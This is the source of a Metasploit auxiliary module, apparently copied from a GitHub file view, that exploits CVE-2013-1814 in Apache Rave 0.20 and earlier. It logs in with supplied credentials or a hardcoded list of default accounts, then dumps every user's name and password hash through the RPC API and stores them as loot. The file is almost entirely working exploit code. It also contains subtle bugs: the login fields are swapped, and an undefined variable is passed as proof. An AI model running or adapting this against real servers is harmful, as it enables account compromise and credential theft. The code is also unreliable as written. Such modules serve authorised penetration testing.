/
apache_rave_creds.rb
234 lines (203 loc) · 6.74 KB
/
apache_rave_creds.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Rave User Information Disclosure',
'Description' => %q{
This module exploits an information disclosure in Apache Rave 0.20 and prior. The
vulnerability exists in the RPC API, which allows any authenticated user to
disclose information about all the users, including their password hashes. In order
to authenticate, the user can provide his own credentials. Also the default users
installed with Apache Rave 0.20 will be tried automatically. This module has been
successfully tested on Apache Rave 0.20.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Andreas Guth', # Vulnerability discovery and PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-1814' ],
[ 'OSVDB', '91235' ],
[ 'BID', '58455' ],
[ 'EDB', '24744']
]
))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Path to Apache Rave Portal', '/portal']),
OptString.new('USERNAME', [ false, 'Apache Rave Username' ]),
OptString.new('PASSWORD', [ false, 'Apache Rave Password' ]),
])
end
def post_auth?
true
end
def login(username, password)
uri = normalize_uri(target_uri.to_s, "j_spring_security_check")
res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'vars_post' => {
'j_password' => username,
'j_username' => password
}
})
if res and res.code == 302 and res.headers['Location'] !~ /authfail/ and res.get_cookies =~ /JSESSIONID=(.*);/
return $1
else
return nil
end
end
def disclose(cookie, offset)
uri = normalize_uri(target_uri.to_s, "app", "api", "rpc", "users", "get")
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'vars_get' => {
'offset' => "#{offset}"
},
'cookie' => "JSESSIONID=#{cookie}"
})
if res and res.code == 200 and res.headers['Content-Type'] =~ /application\/json/ and res.body =~ /resultSet/
return res.body
else
return nil
end
end
def setup
# Default accounts installed and enabled on Apache Rave 0.20
@default_accounts = {
"canonical" => "canonical",
"john.doe" => "john.doe",
"jane.doe" => "jane.doe",
"johnldap" => "johnldap",
"four.col" => "four.col",
"fourwn.col" => "fourwn.col",
"george.doe" => "george.doe",
"maija.m" => "maija.m",
"mario.rossi" => "mario.rossi",
"one.col" => "one.col",
"three.col" => "three.col",
"threewn.col" => "threewn.col",
"twown.col" => "twown.col"
}
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run
print_status("#{rhost}:#{rport} - Fingerprinting...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.to_s, "login"),
'method' => 'GET',
})
if not res
print_error("#{rhost}:#{rport} - No response, aborting...")
return
elsif res.code == 200 and res.body =~ /<span>Apache Rave ([0-9\.]*)<\/span>/
version =$1
if version <= "0.20"
print_good("#{rhost}:#{rport} - Apache Rave #{version} found. Vulnerable. Proceeding...")
else
print_error("#{rhost}:#{rport} - Apache Rave #{version} found. Not vulnerable. Aborting...")
return
end
else
print_warning("#{rhost}:#{rport} - Apache Rave Portal not found, trying to log-in anyway...")
end
cookie = nil
unless datastore["USERNAME"].empty? or datastore["PASSWORD"].empty?
print_status("#{rhost}:#{rport} - Login with the provided credentials...")
cookie = login(datastore["USERNAME"], datastore["PASSWORD"])
if cookie.nil?
print_error("#{rhost}:#{rport} - Login failed")
else
print_good("#{rhost}:#{rport} - Login Successful. Proceeding...")
end
end
if cookie.nil?
print_status("#{rhost}:#{rport} - Login with default accounts...")
@default_accounts.each { |user, password|
print_status("#{rhost}:#{rport} - Login with the #{user} default account...")
cookie = login(user, password)
unless cookie.nil?
print_good("#{rhost}:#{rport} - Login Successful. Proceeding...")
break
end
}
end
if cookie.nil?
print_error("#{rhost}:#{rport} - Login failed. Aborting...")
return
end
print_status("#{rhost}:#{rport} - Disclosing information...")
offset = 0
search = true
while search
print_status("#{rhost}:#{rport} - Disclosing offset #{offset}...")
users_data = disclose(cookie, offset)
if users_data.nil?
print_error("#{rhost}:#{rport} - Disclosure failed. Aborting...")
return
else
print_good("#{rhost}:#{rport} - Disclosure successful")
end
json_info = JSON.parse(users_data)
path = store_loot(
'apache.rave.users',
'application/json',
rhost,
users_data,
nil,
"Apache Rave Users Database Offset #{offset}"
)
print_status("#{rhost}:#{rport} - Information for offset #{offset} saved in: #{path}")
print_status("#{rhost}:#{rport} - Recovering Hashes...")
json_info["result"]["resultSet"].each { |result|
print_good("#{rhost}:#{rport} - Found cred: #{result["username"]}:#{result["password"]}")
report_cred(
ip: rhost,
port: rport,
service_name: 'Apache Rave',
user: result["username"],
password: result["password"],
proof: user_data
)
}
page = json_info["result"]["currentPage"]
total_pages = json_info["result"]["numberOfPages"]
offset = offset + json_info["result"]["pageSize"]
if page == total_pages
search = false
end
end
end
end